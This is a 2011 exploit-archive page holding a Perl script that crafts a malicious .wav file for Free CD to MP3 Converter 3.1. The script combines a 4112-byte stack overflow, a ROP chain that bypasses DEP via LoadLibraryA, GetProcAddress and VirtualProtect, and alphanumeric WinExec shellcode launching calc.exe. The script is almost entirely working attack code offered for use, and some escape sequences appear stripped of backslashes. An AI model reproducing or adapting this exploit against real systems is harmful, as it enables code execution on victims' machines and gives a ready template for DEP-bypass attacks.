[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit
# Published : 2011-08-07
# Author :
# Previous Title : ZipGenius v6.3.2.3000 .ZIP File Buffer Overflow Exploit
# Next Title : MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow
#!/usr/bin/perl
#
#[+]Exploit Title: Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit
#[+]Date: 07 82011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.exploit-db.com/application/15480/
#[+]Version: 3.1
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#Dep bypass method:
#LoadLibraryA("kernel32.dll") + GetProcAddress(%EAX,"VirtualProtect") + VirtualProtect(%ESP,0x400,0x40,0x10007064) == Universal DEP BYPASS. :)
#
#
print q{
Created By C4SS!0 G0M3S
E-mail louredo_@hotmail.com
Blog net-fuzzer.blogspot.com
};
sleep(2);
#Endereco para LoadLibraryA 0x672CA660
##################################ROP FOR LOAD "kernel32.dll"#############################################
my $rop = pack('V',0x00418764); # POP ESI # RETN
$rop .= pack('V',0x672CA660); # Address to LoadLibraryA
$rop .= pack('V',0x00412d09); # POP EBP # RETN
$rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN // Endere?o de retorno da fun?ao LoadLibraryA
$rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN
$rop .= "kernel32.dllx00";
$rop .= "A" x 27;
##################################ROP END HERE###########################################################
#Endere?o para GetProcAddress 0x672CA668
##################################ROP FOR Function GetProcAddress########################################
$rop .= pack('V',0x0048004d); # POP EBP # RETN
$rop .= "x00x00x00x00";
$rop .= pack('V',0x00409a7f); # POP EDI # RETN
$rop .= pack('V',0x672CA668); # Endere?o para GetProcAddress
$rop .= pack('V',0x0042ad45); # PUSH ESP # POP ESI # RETN
$rop .= pack('V',0x004a1b0e); # POP ESI # RETN
$rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN // Endere?o de retorno da fun?ao GetProcAddress
$rop .= pack('V',0x00421953); # ADD EBP,EAX # RETN
$rop .= pack('V',0x004c0634); # PUSHAD # RETN
$rop .= "VirtualProtectx00";
$rop .= "A" x 25;
##################################ROP END HERE###########################################################
#################################ROP FOR VirtualProtect#################################################
$rop .= pack('V',0x0042c786); # XCHG EAX,ESI # RETN // Endere?o da VirtualProtect
$rop .= pack('V',0x004d2c70); # POP EBP # RETN
$rop .= pack('V',0x0047E58B); # JMP ESP // Endere?o de retorno da fun?ao VirtualProtect
$rop .= pack('V',0x0046abf7); # POP EBX # RETN
$rop .= pack('V',0x00000400); # O valor de dwSize
$rop .= pack('V',0x00402bb4); # POP EDX # RETN
$rop .= pack('V',0x00000040); # Valor de flNewProtect
$rop .= pack('V',0x10002b9c); # POP ECX # RETN
$rop .= pack('V',0x10007064); # Valor de lpflOldProtect
$rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN
#################################ROP END HERE###########################################################
my $shellcode =
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIONMRU2SJXH9KHNHYD4FDK".
"D0XGC9YX1FRP1T0B2TCRPEBK3RJMNZ8GMLV879DONSVQXK7FWLCSIJ5VLO0WXWYWVLDO0O2SZGL62OVO".
"RP3N3DMMERZJDY3R9N0Q695JE6J3KEUYGM5LNQTR0EK3PUDYY0PN3MY3NQ4KX980PGSPPN3N5L3Q5RI9". #Shellcode Alpha Numeric WinExec "Calc.exe"
"GQ3J5M6MO9KMMOQ7OHZT2X2SLLUKOS1L6VDN6QKJWUGTV07YVMHMKQY4N5NG4WLE4QML9QWOOELVEXMQ". #Baseaddress EAX.
"2LFNN2UMWFWE2KSPLWK8OSWDJ1O8NOTGPQK1K0KJGZJ5OE8VCNW9T4Q2RUMOZ6NCTL9TSLKJNZKW0NMN".
"LSQMFWOHKHLLX7ON4SNZQ4NQO4QMVLNMZPVD89ULWKNTQMP0M1S3L6SNXMWBYNPPIT73NOXWKRRVZRN8".
"WDN0SUK8WOMV4DNNTWPYWN27KA";
my $buf = "A" x 4112;
$buf .= $rop;
$buf .= "x8BxC4x83xC0x20xFFxD0".("A" x 21).$shellcode;
print "tt[+]Creating File Exploit.wav...n";
sleep(1);
open(f,">Exploit.wav") || die "[-]Error: $!n";
print f $buf;
close f;
print "tt[+]File Exploit.wav Created Successfully.n";
sleep(1);